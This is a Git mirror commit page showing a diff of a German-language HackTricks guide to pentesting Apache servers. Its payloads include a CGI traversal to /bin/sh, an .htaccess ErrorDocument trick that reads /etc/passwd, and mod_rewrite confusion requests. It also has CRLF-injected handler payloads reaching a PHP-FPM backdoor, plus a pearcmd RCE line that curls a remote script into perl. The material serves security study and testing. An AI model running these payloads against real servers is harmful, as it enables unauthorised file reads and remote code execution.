maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m

Browse Source
This commit is contained in:
Translator 2025-08-28 18:55:09 +00:00
parent 5e7d1947f5
commit 77ac36f58f
2 changed files with 429 additions and 384 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

666
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

147
src/network-services-pentesting/pentesting-web/apache.md
View File

@ -4,11 +4,11 @@
## Ausführbare PHP-Erweiterungen
Überprüfen Sie, welche Erweiterungen den Apache-Server ausführen. Um sie zu suchen, können Sie ausführen:
Prüfe, welche PHP-Erweiterungen vom Apache-Server ausgeführt werden. Um sie zu finden, kannst du ausführen:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Auch einige Orte, an denen Sie diese Konfiguration finden können, sind:
Außerdem einige Orte, an denen du diese Konfiguration finden kannst:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## Verwirrungsangriff <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
## LFI über .htaccess ErrorDocument file provider (ap_expr)
Diese Arten von Angriffen wurden [**von Orange in diesem Blogbeitrag**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "Verwirrungs"-Angriff missbraucht im Grunde, wie die Dutzenden von Modulen, die zusammenarbeiten, um einen Apache zu erstellen, nicht perfekt synchronisiert arbeiten, und das Modifizieren unerwarteter Daten in einigen von ihnen kann eine Schwachstelle in einem späteren Modul verursachen.
Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride für diesen Pfad FileInfo enthält, kannst du 404-Antworten dazu verwenden, beliebige lokale Dateien auszulesen, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest.
### Dateinamenverwirrung
- Voraussetzungen:
- Apache 2.4 mit aktiviertem Expression-Parser (ap_expr) (Standard in 2.4).
- Der vhost/dir muss .htaccess erlauben, ErrorDocument zu setzen (AllowOverride FileInfo).
- Der Apache worker user muss Leseberechtigungen für die Zieldatei haben.
#### Trunkierung
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Auslösen durch Anfordern eines nicht existierenden Pfads unterhalb dieses Verzeichnisses, zum Beispiel beim Missbrauch von userdir-style hosting:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Hinweise und Tipps:
- Nur absolute Pfade funktionieren. Der Inhalt wird als Response-Body für den 404-Handler zurückgegeben.
- Effektive Leseberechtigungen entsprechen denen des Apache-Benutzers (typischerweise www-data/apache). In Standard-Setups wirst du /root/* oder /etc/shadow nicht lesen können.
- Selbst wenn .htaccess root-owned ist, wenn das übergeordnete Verzeichnis tenant-owned ist und Umbenennen erlaubt, kannst du eventuell das originale .htaccess umbenennen und per SFTP/FTP deine eigene Ersatzdatei hochladen:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Verwende dies, um Anwendungscode unter DocumentRoot oder vhost config paths zu lesen, um Secrets (DB creds, API keys, etc.) zu sammeln.
Der **`mod_rewrite`** wird den Inhalt von `r->filename` nach dem Zeichen `?` kürzen ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Das ist nicht ganz falsch, da die meisten Module `r->filename` als URL behandeln. In anderen Fällen wird dies jedoch als Dateipfad behandelt, was ein Problem verursachen würde.
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
- **Pfadtrunkierung**
Diese Art von Angriffen wurde [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "confusion" Angriff missbraucht im Wesentlichen, dass die Dutzenden Module, die zusammen einen Apache bilden, nicht perfekt synchronisiert arbeiten; wenn einige davon unerwartete Daten verändern, kann das in einem späteren Modul eine Schwachstelle verursachen.
Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem einfach der letzte Teil des erwarteten Pfades entfernt wird, indem man ein `?` hinzufügt:
### Filename Confusion
#### Truncation
Der **`mod_rewrite`** wird den Inhalt von `r->filename` nach dem Zeichen `?` kürzen ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Das ist nicht grundsätzlich falsch, da die meisten Module `r->filename` als URL behandeln. Aber in anderen Fällen wird dies als Dateipfad behandelt, was ein Problem verursachen kann.
- **Path Truncation**
Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem man den letzten Teil des erwarteten Pfads entfernt und einfach ein `?` anhängt:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -48,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
```
- **Irreführende RewriteFlag-Zuweisung**
In der folgenden Rewrite-Regel wird die URL, solange sie mit .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die mit .php endet, nachdem das `?`-Zeichen verwendet wurde, während im Pfad ein anderer Dateityp (wie ein Bild) mit schädlichem php-Code geladen wird:
In der folgenden Rewrite-Regel wird alles, dessen URL auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem `?`-Zeichen auf .php endet, während im Pfad eine Datei eines anderen Typs (z. B. ein Bild) geladen wird, die bösartigen php-Code enthält:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer nicht zugreifen sollte, selbst wenn der Zugriff mit Konfigurationen wie: verweigert werden sollte.
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer keinen Zugriff haben sollte, obwohl der Zugriff durch Konfigurationen wie diese verweigert sein sollte:
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Dies liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die mit `.php` enden, wie `http://server/admin.php%3Fooo.php`, und da PHP-FPM alles nach dem Zeichen `?` entfernt, ermöglicht die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat.
Das liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die auf `.php` enden, wie `http://server/admin.php%3Fooo.php`, und weil PHP-FPM alles nach dem Zeichen `?` entfernt, erlaubt die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat.
### DocumentRoot Verwirrung
### Verwirrung um DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Ein interessanter Fakt über Apache ist, dass die vorherige Umleitung versucht, die Datei sowohl aus dem documentRoot als auch aus dem Root-Verzeichnis zuzugreifen. Eine Anfrage an `https://server/abouth.html` überprüft die Datei in `/var/www/html/about.html` und `/about.html` im Dateisystem. Dies kann im Grunde genommen ausgenutzt werden, um auf Dateien im Dateisystem zuzugreifen.
Eine interessante Tatsache über Apache ist, dass die vorherige Rewrite-Anweisung versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu laden. Daher wird eine Anfrage an `https://server/abouth.html` im Dateisystem nach der Datei in `/var/www/html/about.html` und `/about.html` suchen. Das kann im Grunde ausgenutzt werden, um auf Dateien im Dateisystem zuzugreifen.
#### **Server-Seitige Quellcode-Offenlegung**
#### **Serverseitige Offenlegung des Quellcodes**
- **Offenlegung des CGI-Quellcodes**
- **CGI-Quellcode offenlegen**
Das Hinzufügen eines %3F am Ende reicht aus, um den Quellcode eines CGI-Moduls offenzulegen:
Allein das Anhängen von %3F am Ende reicht aus, um den Quellcode eines CGI-Moduls zu leaken:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Offenlegung des PHP-Quellcodes**
- **PHP-Quellcode offenlegen**
Wenn ein Server verschiedene Domains hat, wobei eine davon eine statische Domain ist, kann dies ausgenutzt werden, um das Dateisystem zu durchlaufen und PHP-Code zu leaken:
Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu durchsuchen und php code zu leak:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulation lokaler Gadgets**
#### **Local Gadgets Manipulation**
Das Hauptproblem bei dem vorherigen Angriff ist, dass standardmäßig der Zugriff auf das Dateisystem in der Konfiguration des Apache HTTP Servers [konfiguriert](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) wird.
Das Hauptproblem des vorherigen Angriffs ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem verweigert werden, wie in der [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) von Apache HTTP Server:
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Allerdings erlauben die Betriebssysteme [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) standardmäßig `/usr/share`:
Allerdings erlauben [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) Betriebssysteme standardmäßig den Zugriff auf `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Daher wäre es möglich, **Dateien im Verzeichnis `/usr/share` in diesen Distributionen auszunutzen.**
Daher wäre es möglich, **Dateien unter `/usr/share` in diesen Distributionen zu missbrauchen.**
**Lokales Gadget zur Informationsoffenlegung**
**Lokales Gadget für Information Disclosure**
- **Apache HTTP Server** mit **websocketd** könnte das **dump-env.php**-Skript unter **/usr/share/doc/websocketd/examples/php/** exponieren, was sensible Umgebungsvariablen offenlegen kann.
- Server mit **Nginx** oder **Jetty** könnten sensible Informationen von Webanwendungen (z.B. **web.xml**) über ihre Standard-Webwurzeln, die unter **/usr/share** platziert sind, exponieren:
- **Apache HTTP Server** mit **websocketd** kann das **dump-env.php** Skript unter **/usr/share/doc/websocketd/examples/php/** exponieren, welches sensible Umgebungsvariablen leak.
- Server mit **Nginx** oder **Jetty** könnten sensible Informationen von Webanwendungen (z. B. **web.xml**) über ihre Standard-Webroots unter **/usr/share** exponieren:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Lokales Gadget zu XSS**
**Lokales Gadget für XSS**
- Auf Ubuntu Desktop mit **LibreOffice installiert** kann das Ausnutzen der Sprachumschaltfunktion in den Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL unter **/usr/share/libreoffice/help/help.html** kann zu bösartigen Seiten oder älteren Versionen über **unsichere RewriteRule** umleiten.
- Auf Ubuntu Desktop mit installiertem **LibreOffice** kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL bei **/usr/share/libreoffice/help/help.html** kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere RewriteRule.
**Lokales Gadget zu LFI**
**Lokales Gadget für LFI**
- Wenn PHP oder bestimmte Front-End-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie **/etc/passwd** zu lesen:
- Wenn PHP oder bestimmte Frontend-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien genutzt werden, um sensitive Dateien wie **/etc/passwd** zu lesen:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Lokales Gadget zu SSRF**
**Lokales Gadget für SSRF**
- Durch die Nutzung von **MagpieRSS's magpie_debug.php** unter **/usr/share/php/magpierss/scripts/magpie_debug.php** kann eine SSRF-Schwachstelle leicht geschaffen werden, die einen Zugang zu weiteren Exploits bietet.
- Durch Nutzung von **MagpieRSS**'s magpie_debug.php unter **/usr/share/php/magpierss/scripts/magpie_debug.php** kann leicht eine SSRF-Schwachstelle erzeugt werden, die als Tor zu weiteren Exploits dient.
**Lokales Gadget zu RCE**
**Lokales Gadget für RCE**
- Die Möglichkeiten für **Remote Code Execution (RCE)** sind vielfältig, mit anfälligen Installationen wie einer veralteten **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen, was das umfangreiche Potenzial der Manipulation lokaler Gadgets zeigt.
- Möglichkeiten für **Remote Code Execution (RCE)** sind vielfältig, etwa durch verwundbare Installationen wie veraltetes **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das große Potenzial der Manipulation lokaler Gadgets.
#### **Jailbreak von lokalen Gadgets**
Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern generiert wurden, wie:
Es ist außerdem möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, zum Beispiel:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,55 +186,55 @@ Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Darüber hinaus war es durch das Ausnutzen von Symlinks möglich, **RCE in Redmine zu erlangen.**
Außerdem war es durch das Ausnutzen von Symlinks möglich, **RCE in Redmine** zu erlangen.
### Handler-Verwirrung <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Dieser Angriff nutzt die Überlappung in der Funktionalität zwischen den `AddHandler`- und `AddType`-Direktiven aus, die beide verwendet werden können, um **PHP-Verarbeitung zu aktivieren**. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (`r->handler` und `r->content_type`), die in der internen Struktur des Servers vorhanden sind. Aufgrund von Legacy-Code behandelt Apache jedoch diese Direktiven unter bestimmten Bedingungen austauschbar, indem `r->content_type` in `r->handler` umgewandelt wird, wenn ersteres gesetzt ist und letzteres nicht.
Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven `AddHandler` und `AddType`, die beide verwendet werden können, um **PHP-Verarbeitung** zu aktivieren. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (`r->handler` bzw. `r->content_type`) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar und konvertiert `r->content_type` in `r->handler`, falls ersteres gesetzt ist und letzteres nicht.
Darüber hinaus, im Apache HTTP Server (`server/config.c#L420`), wenn `r->handler` vor der Ausführung von `ap_run_handler()` leer ist, **verwendet der Server `r->content_type` als Handler**, was effektiv `AddType` und `AddHandler` identisch in der Wirkung macht.
Außerdem verwendet der Apache HTTP Server (`server/config.c#L420`) `r->content_type` als Handler, falls `r->handler` vor dem Aufruf von `ap_run_handler()` leer ist, wodurch `AddType` und `AddHandler` effektiv die gleiche Wirkung haben.
#### **Handler überschreiben, um PHP-Quellcode offenzulegen**
In [**diesem Vortrag**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) wurde eine Schwachstelle präsentiert, bei der ein falsches `Content-Length`, das von einem Client gesendet wird, dazu führen kann, dass Apache fälschlicherweise **den PHP-Quellcode zurückgibt**. Dies geschah aufgrund eines Fehlerbehandlungsproblems mit ModSecurity und der Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass `r->content_type` auf `text/html` überschrieben wird.\
Da ModSecurity Rückgabewerte nicht richtig behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren.
In [**diesem Vortrag**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) wurde eine Schwachstelle vorgestellt, bei der ein vom Client gesendeter falscher `Content-Length` dazu führen kann, dass Apache fälschlicherweise **den PHP-Quellcode zurückgibt**. Ursache war ein Fehler im Error-Handling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass `r->content_type` auf `text/html` überschrieben wird.\
Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren.
#### **Handler überschreiben zu XXXX**
TODO: Orange hat diese Schwachstelle noch nicht offengelegt
### **Willkürliche Handler aufrufen**
### **Beliebige Handler aufrufen**
Wenn ein Angreifer in der Lage ist, den **`Content-Type`**-Header in einer Serverantwort zu kontrollieren, kann er **willkürliche Modul-Handler aufrufen**. Allerdings wird der Großteil des Anforderungsprozesses bereits abgeschlossen sein, wenn der Angreifer dies kontrolliert. Es ist jedoch möglich, **den Anforderungsprozess durch Ausnutzen des `Location`-Headers neu zu starten**, da, wenn der **r**ückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, die Antwort als Server-seitige Umleitung behandelt wird und verarbeitet werden sollte.
Wenn ein Angreifer in der Lage ist, den Header `Content-Type` in einer Serverantwort zu kontrollieren, kann er **beliebige Modul-Handler aufrufen**. Bis zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch der Großteil der Anfrageverarbeitung bereits erfolgt. Es ist allerdings möglich, den Anfrageprozess durch Missbrauch des `Location`-Headers neu zu starten, denn wenn der zurückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, wird die Antwort als Server-seitige Umleitung behandelt und erneut verarbeitet.
Laut [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (Spezifikation über CGI) in [Abschnitt 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) wird ein Verhalten der lokalen Umleitungsantwort definiert:
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> Das CGI-Skript kann einen URI-Pfad und eine Abfragezeichenfolge (‘local-pathquery’) für eine lokale Ressource in einem Location-Headerfeld zurückgeben. Dies zeigt dem Server an, dass er die Anfrage unter Verwendung des angegebenen Pfades erneut verarbeiten soll.
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Daher ist es notwendig, um diesen Angriff durchzuführen, eine der folgenden Schwachstellen zu haben:
Um diesen Angriff durchzuführen, wird eine der folgenden Schwachstellen benötigt:
- CRLF-Injection in den CGI-Antwort-Headern
- SSRF mit vollständiger Kontrolle über die Antwort-Header
- CRLF Injection in the CGI response headers
- SSRF mit vollständiger Kontrolle über die response headers
#### **Willkürlicher Handler zur Informationsoffenlegung**
#### **Beliebiger Handler für Information Disclosure**
Zum Beispiel sollte `/server-status` nur lokal zugänglich sein:
Beispielsweise sollte `/server-status` nur lokal zugänglich sein:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Es ist möglich, darauf zuzugreifen, indem der `Content-Type` auf `server-status` und der Location-Header mit `/` beginnt.
Es ist möglich, darauf zuzugreifen, indem man den `Content-Type` auf `server-status` setzt und den Location-Header mit `/` beginnen lässt.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Willkürlicher Handler zu vollständigem SSRF**
#### **Beliebiger Handler zu vollständigem SSRF**
Umleitung zu `mod_proxy`, um auf jedes Protokoll unter jeder URL zuzugreifen:
Weiterleitung an `mod_proxy`, um auf jedes Protokoll jeder URL zuzugreifen:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
Allerdings wird der `X-Forwarded-For`-Header hinzugefügt, um den Zugriff auf Cloud-Metadatenendpunkte zu verhindern.
Allerdings wird der `X-Forwarded-For`-Header hinzugefügt, wodurch der Zugriff auf Cloud-Metadaten-Endpunkte verhindert wird.
#### **Willkürlicher Handler zum Zugriff auf lokale Unix-Domain-Sockets**
#### **Arbitrary Handler to Access Local Unix Domain Socket**
Greifen Sie auf den lokalen Unix-Domain-Socket von PHP-FPM zu, um ein PHP-Backdoor auszuführen, das sich in `/tmp/` befindet:
Zugriff auf den lokalen Unix Domain Socket von PHP-FPM, um eine PHP backdoor im Verzeichnis `/tmp/` auszuführen:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Willkürlicher Handler zu RCE**
#### **Arbitrary Handler to RCE**
Das offizielle [PHP Docker](https://hub.docker.com/_/php) Image enthält PEAR (`Pearcmd.php`), ein Befehlszeilen-PHP-Paketverwaltungstool, das missbraucht werden kann, um RCE zu erlangen:
Das offizielle [PHP Docker](https://hub.docker.com/_/php) Image enthält PEAR (`Pearcmd.php`), ein Kommandozeilen-Tool zur Verwaltung von PHP-Paketen, das missbraucht werden kann, um RCE zu erlangen:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Überprüfen Sie [**Docker PHP LFI Zusammenfassung**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon_xg) für die Details dieser Technik.
Siehe [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon_xg) für Details dieser Technik.
## Referenzen
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}